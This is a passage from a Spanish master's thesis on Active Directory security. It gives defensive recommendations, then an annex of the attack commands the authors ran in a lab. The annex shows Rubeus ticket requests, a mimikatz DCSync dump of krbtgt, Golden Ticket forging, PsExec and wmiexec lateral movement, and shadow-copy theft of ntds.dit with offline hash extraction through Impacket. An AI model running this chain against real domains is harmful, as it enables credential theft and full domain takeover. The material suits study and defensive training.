  - Accesos a **C:\Windows\NTDS\ntds.dit** (Sysmon Event ID 11).

3. Aislamiento del DC

- Denegar **SMB (445/TCP)** y **WinRM (5985/TCP)** desde subredes no críticas.

7.4 Recomendaciones generales

1. Visibilidad y respuesta

- **Implementar SIEM con reglas para:**
  - Cambios en grupos privilegiados (Event ID 4728-4732).
  - Logons desde cuentas krbtgt (siempre es malicioso)**.**

2. Automatización defensiva

- Desplegar Microsoft LAPS para gestión segura de credenciales locales.
- Usar WDAC para bloquear ejecutables no firmados en DCs.

3. Cultura de seguridad

- Simulaciones Red Team bianuales para validar controles.
- Training en técnicas ATT&CK T1558.001 (Golden Ticket) y T1003.003 (NTDS.dit).

Estas medidas, aunque no eliminan el riesgo, elevan significativamente la dificultad para que un atacante pueda operar de forma persistente y sigilosa. La seguridad en entornos AD no debe depender solo de herramientas, sino de una estrategia integral que combine prevención, visibilidad, reacción y cultura de seguridad.

8. Anexo – Comandos Ejecutados y Flujo de Ataque al Laboratorio.

Este anexo recoge el flujo cronológico y técnico de los comandos ejecutados durante la demostración práctica del TFM. No se trata solo de una recopilación de pasos, sino del testimonio real de un aprendizaje progresivo: desde el desconocimiento inicial, hasta la comprensión completa de cómo un entorno Active Directory puede ser comprometido paso a paso. Tanto desde la máquina atacante (Kali Linux) como desde la máquina víctima (Windows), se llevaron a cabo acciones controladas que simulan ataques reales, con un objetivo formativo y ético. Lo que sigue es el recorrido que hicimos, explicado desde la voz de quienes lo ejecutaron.

1. **Comandos ejecutados desde la Windows Victima (hackerman)**
   Iniciamos sesión con un usuario del dominio sin privilegios. A partir de ahí, y con acceso a herramientas como Rubeus y mimikatz, comenzamos la explotación interna.

   1.1 Solicitar el TGT con Rubeus:

   ```
   Rubeus.exe asktgt /user:Administrador /password:Password123! /nowrap
   ```

   1.2 Solicitar el TGS para CIFS y LDAP:

   ```
   Rubeus.exe asktgs /ticket:<BASE64_TGT> /service:cifs/DC-Server.tfm.local
   ```

   ```
   Rubeus.exe asktgs /ticket:<BASE64_TGT> /service:ldap/DC-Server.tfm.local
   ```

   1.3 Validar tickets existentes:

   ```
   Rubeus.exe triage
   ```

   1.4 Ejecutar ataque DCSync:

   ```
   mimikatz # privilege::debug
   ```

```
mimikatz # lsadump::dcsync /domain:tfm.local /user:krbtgt
```

1.5 Crear Golden Ticket:

```
kerberos::golden /user:<> /id:<> /groups:<> /rc4:<> /sid:<> /ticket:gold.kirbi /domain:<>
```

1.6 Inyectar Golden Ticket:

```
kerberos::ptt gold.kirbi
```

1.7 Movimiento lateral con PsExec:

```
psexec.exe \\DC-Server.tfm.local cmd.exe
```

2. Comandos desde Kali Linux (usuario externo)

Esta parte de la demo representa un atacante con acceso remoto que actúa desde fuera del dominio Windows.

2.1 Obtener el SID del dominio.

```
lookupsid.py tfm.local/hackerman -dc-ip 192.168.56.40
```

2.2 Extraer TGT

```
Impacket-getTGT.py tfm.local/Administrador -dc-ip <> -hashes: <>
```

2.3 Activar ticket Kerberos:

```
export KRB5CCNAME=Administrador.ccache
```

2.4 Verificar si podemos entrar a la consola del DC.

```
impacket-wmiexec -k -no-pass @DC-Server.tfm.local -codec utf-8 -dc-ip <>
```

2.5 Generar Golden Ticket:

```
ticketer.py -nthash <HASH_KRBTGT> -domain-sid <SID> -domain tfm.local -user Administrador/hackerman -groups 512
```

2.6 Crear Shadow Copy y copiar archivos críticos:

```
vssadmin create shadow /for=C:
```

```
copy
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\NTDS\n
tds.dit C:\temp
```

```
copy
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\System
32\config\SYSTEM C:\temp
```

2.7 Descargar los archivos desde Kali:

```
impacket-smbclient    -k    -no-pass    tfm.local/hackerman@DC-
Server.tfm.local -dc-ip 192.168.56.40
```

```
get C$\\temp\\ntds.dit
```

```
get C$\\temp\\SYSTEM
```

2.8 Extraer los hashes offline:

```
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
```

9.CONCLUSIONES

Este Trabajo de Fin de Máster no ha sido solo un ejercicio técnico, sino una verdadera experiencia de aprendizaje para ambos. Desde el momento en que decidimos centrarnos en Active Directory sabíamos que nos estábamos metiendo en un terreno exigente, pero precisamente por eso lo elegimos: queríamos un reto real, algo que nos obligara a salir de la zona de confort y a aplicar todo lo que habíamos aprendido durante el máster. Durante semanas, entre pruebas fallidas, máquinas que no arrancaban, comandos que no hacían lo esperado y momentos de frustración, fuimos construyendo un entorno de laboratorio que terminó por convertirse en nuestro campo de entrenamiento. Ahí, entre líneas de PowerShell, scripts de Python y decenas de sesiones de Kali y Windows, fuimos entendiendo de verdad cómo se construye y se rompe una infraestructura corporativa. A nivel técnico, hemos aprendido muchísimo. No solo sobre los ataques Golden Ticket, DCSync o la extracción de ntds.dit, sino sobre cómo pensar como un atacante, cómo se produce una intrusión de verdad, y, sobre todo, cómo puede detectarse si uno sabe mirar en los sitios adecuados. Pero más allá del aspecto técnico, nos llevamos algo incluso más valioso: la capacidad de trabajar en equipo, de organizarnos, de tomar decisiones cuando algo no sale bien, y de mantener el enfoque cuando todo parece estancado. Este TFM lo hemos hecho nosotros. Línea a línea. Fallo a fallo. Hasta entender lo que estábamos haciendo de verdad. Y por eso estamos orgullosos. Porque este trabajo, más allá del resultado que obtengamos, representa un esfuerzo comprometido.

10.BIBLIOGRAFÍA

Kerberos authentication overview in Windows Server

https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview

Dumping Domain Controller Hashes Locally and Remotely

https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration

Invoke-NinjaCopy.ps1

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

Rubeus.exe

https://github.com/r3motecontrol/Ghostpack-CompiledBinaries

Josep Moreno Zamorano (2025).

https://loveisinthe.net/

Introduction an Active Directory Domain Services

https://learn.microsoft.com/es-es/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview

impacket-scripts

https://www.kali.org/tools/impacket-scripts/

mimikatz

https://github.com/ParrotSec/mimikatz

Ticket Extraction and Harvesting

https://docs.specterops.io/ghostpack/rubeus/ticket-extraction-and-harvesting

ChatGPT
https://chatgpt.com/

Kerberos cheatsheet

https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a

https://cheatsheet.haax.fr/windows-systems/exploitation/kerberos/

Penetration Testing Active Directory, Part II

https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/